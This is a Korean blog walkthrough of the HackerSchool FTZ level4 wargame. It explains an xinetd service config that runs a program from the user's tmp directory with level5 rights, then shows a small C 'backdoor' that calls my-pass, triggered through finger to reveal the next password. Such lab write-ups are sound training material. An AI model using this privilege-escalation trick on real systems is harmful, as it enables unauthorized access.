ssh://ftz.hackerschool.org
id : level4
pw : suck my brain


서버에 접속하여 디렉토리에 있는 파일들을 리스트 형식으로 확인합시다. 이름이 hint인 파일이 있군요. cat을 사용하여 명령어를 입력합니다.

[level4@ftz level4]$ ls -l
합계 12
-rw-r--r--    1 root     root           50  2월 24  2002 hint
drwxr-xr-x    2 root     level4       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level4       4096  7월 12 02:40 tmp
[level4@ftz level4]$ cat hint


누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

 


/etc/xinetd.d/ 에 백도어를 심어놓았다. 라고 하는군요.

여기서 백도어란 허가받지 않은 사용자가 네트워크에 들어갈 수 있을 만큼 허술한 부분을 일컫는 말입니다. 확인을 위해 /etc/xinetd.d/경로로 이동해 봅시다. 이동후 디렉토리에 있는 파일들을 확인합시다. 명령어는 cd를 이용합니다.

[level4@ftz level4]$ cd /etc/xinetd.d/
[level4@ftz xinetd.d]$ ls
backdoor     cups-lpd     echo      ntalk   rsh      services  telnet
chargen      daytime      echo-udp  rexec   rsync    sgi_fam   time
chargen-udp  daytime-udp  finger    rlogin  servers  talk      time-udp

이름이 backdoor인 파일이 보입니다. 딱봐도 수상하니까 확인 해봅시다.
backdoor라는 파일의 내용을 살펴본다. 명령어는 cat을 사용합니다.

[level4@ftz xinetd.d]$ cat backdoor 
service finger 
{
 disable = no
 flags  = REUSE
 socket_type = stream        
 wait  = no
 user  = level5
 server  = /home/level4/tmp/backdoor
 log_on_failure += USERID
}
[level4@ftz xinetd.d]$ cat /etc/services | grep finger
finger  79/tcp
finger  79/udp
cfinger  2003/tcp   # GNU Finger

service는 서비스 이름을 명시하며 여기  backdoor 파일에서는 finger 서비스를 명시했네요.

disable은
데몬이 슈퍼데몬의 영향을 받아 실행할때는 no 
데몬을 쓰지 않을때는 yes 를 할것입니다.

참고로 데몬이란 일종의 윈도우 서비스를 말하며 평소에는 비활성화되어 있고 사용자가 요청할때만 동작하는 프로세스입니다.

슈퍼데몬은 이러한 데몬을 관리하는 데몬이며 보통 inted 또는 xinted를 칭합니다.

socket type 
TCP일 경우에는 stream, UDP일 경우에는 dgram이라 명시합니다.

wait 
inted가 서비스 요청을 받은 경우, 이후에 즉시 또다른 요청을 처리할 것인지 아닌지 여부를 결정합니다. stream일 경우에는 반드시 no wait이어야 합니다.

user
어떤 사용자의 권한으로 프로그램을 수행시켜줄 것인지 명시합니다. 여기서는 level5의 권한으로 프로그램을 수행시킵니다.

server 
어떤 응용 프로그램을 수행시킬 것인지 명시합니다. 절대 경로를 모두 명시해야합니다.

log_on_failure += USERID

만약 로그인에 실패할시 USERID가 로그로 남는다는 뜻입니다.

즉 요약하면 level5의 권한으로 finger서비스가 백도어를 실행한답니다. 그리고 이 프로그램이 실행되는 경로는 /home/level4/tmp/backdoor 입니다. 확인을 위해 tmp경로로 가시면 파일이 없습니다. 그래서 직접 만들어 봅시다.

그리고 프로그램이 위치한 곳은 /home/level4/tmp/backdoor에서 보면 tmp 이기 때문에  backdoor라는 프로그램을 작성하여 level5 user의 권한으로 원하는 명령을 수행할 수 있습니다.
~/tmp에 my-pass를 실행하는 backdoor라는 이름의 프로그램을 작성합니다. 그 후 컴파일합니다.

[level4@ftz tmp]$ cd ~/tmp
[level4@ftz tmp]$ cat > backdoor.c
#include <stdio.h>

int main()
{
  system("my-pass");
}
[level4@ftz tmp]$ gcc -o backdoor backdoor.c


finger를 실행합시다.

[level4@ftz tmp]$ finger @localhost
^[[H^[[J

Level5 Password is "what is your name?".


 패스워드를 얻었습니다.


'HackerSchool' 카테고리의 다른 글

HackerSchool - trainer  (0) 2015.07.22
HackerSchool - F.T.Z 로컬환경 구축  (0) 2015.07.22
HackerSchool - ftz level6  (0) 2015.07.15
Hacker school ftz level5  (0) 2015.07.15
hackerSchool - level 1  (0) 2015.07.15
Posted by englishmath
,